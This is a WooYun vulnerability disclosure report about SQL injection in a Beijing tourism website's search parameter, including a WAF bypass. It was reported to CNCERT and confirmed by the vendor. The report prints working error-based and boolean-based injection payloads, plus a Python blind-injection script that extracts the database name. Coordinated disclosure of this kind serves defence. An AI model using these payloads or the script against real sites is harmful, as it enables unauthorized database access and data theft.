当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146909

漏洞标题:北京市旅游发展委员会某站SQL注入(绕过WAF)

相关厂商:cncert国家互联网应急中心

漏洞作者: 渔村安全实验室

提交时间:2015-10-16 11:25

修复时间:2015-12-04 16:58

公开时间:2015-12-04 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-16: 细节已通知厂商并且等待厂商处理中
2015-10-20: 厂商已经确认,细节仅向厂商公开
2015-10-30: 细节向核心白帽子及相关领域专家公开
2015-11-09: 细节向普通白帽子公开
2015-11-19: 细节向实习白帽子公开
2015-12-04: 细节向公众公开

简要描述:

“北京旅游网”是受北京市旅游发展委员会委托,北京市旅游咨询服务中心建设、运营的公益性网站,负责“北京旅游网”的建设和管理。
“北京旅游网”是为了向世界展示北京的旅游环境,向游客提供公益性旅游资源信息,服务游客,宣传旅游企业,推动北京市从旅游大市向旅游强市的跨越而建立的。

详细说明:

http://**.**.**.**/index.php?m=content&c=search&catid=7&theme=3399&area=0&crowd=0&level=0&ticselect=0


ticselect所造成的注入
随便输入点畸形数据

QQ截图20151015111954.png


直接报出错误信息,从报错的信息可以看到我们的参数是between X and的参数,这样我们就可以构造payload来闭合前面的SQL语句,先来一发报错注入

http://**.**.**.**/index.php?m=content&c=search&catid=7&theme=3399&area=0&crowd=0&level=0&ticselect=0 and 1 and  (SELECT 2520 FROM(SELECT COUNT(*),CONCAT(0x58424176,(SELECT (ELT(2520=2520,1))),0x6c684c79,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) --+a


QQ图片20151015112255.png


发现分号被替换了,被替换成and换个思路,换成布尔类型的注入

http://**.**.**.**/index.php?m=content&c=search&catid=7&theme=3399&area=0&crowd=0&level=0&ticselect=0 and 1 and  1=1--+a


QQ截图20151015112509.png


QQ截图20151015112522.png


看来布尔还是可以的,就跑下数据库名

http://**.**.**.**/index.php?m=content&c=search&catid=7&theme=3399&area=0&crowd=0&level=0&ticselect=0 and 1 and (SELECT LENGTH(database())=8)--+a


数据库长度为8,来个脚本枚举下数据库的名称

import requests
import os
user_len = 8
url = u'http://**.**.**.**/index.php?m=content&c=search&catid=7&theme=3399&area=0&crowd=0&level=0&ticselect=0 ' \
u'and 1 and(ascii(mid(%s from(%d)for(1)))=%d)--+a'
index = 1
temp = ''
print 'fetching database start:'
while index <= user_len:
test_num = 200
while test_num:
oper = requests.get(url % (u'user()', index, test_num))
if oper.status_code is 200:
if len(oper.content) != 174699:
temp += chr(test_num)
print temp
break
test_num -= 1
index += 1
print 'database:%s\n' % temp
os.system('pause')


QQ截图20151015112644.png


database:resource


打完收工

漏洞证明:

修复方案:

你比我懂

版权声明:转载请注明来源 渔村安全实验室@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-10-20 16:57

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向北京市政府信息化主管部门通报,由其后续协调网站管理单位处置同时下发北京分中心.

最新状态:

暂无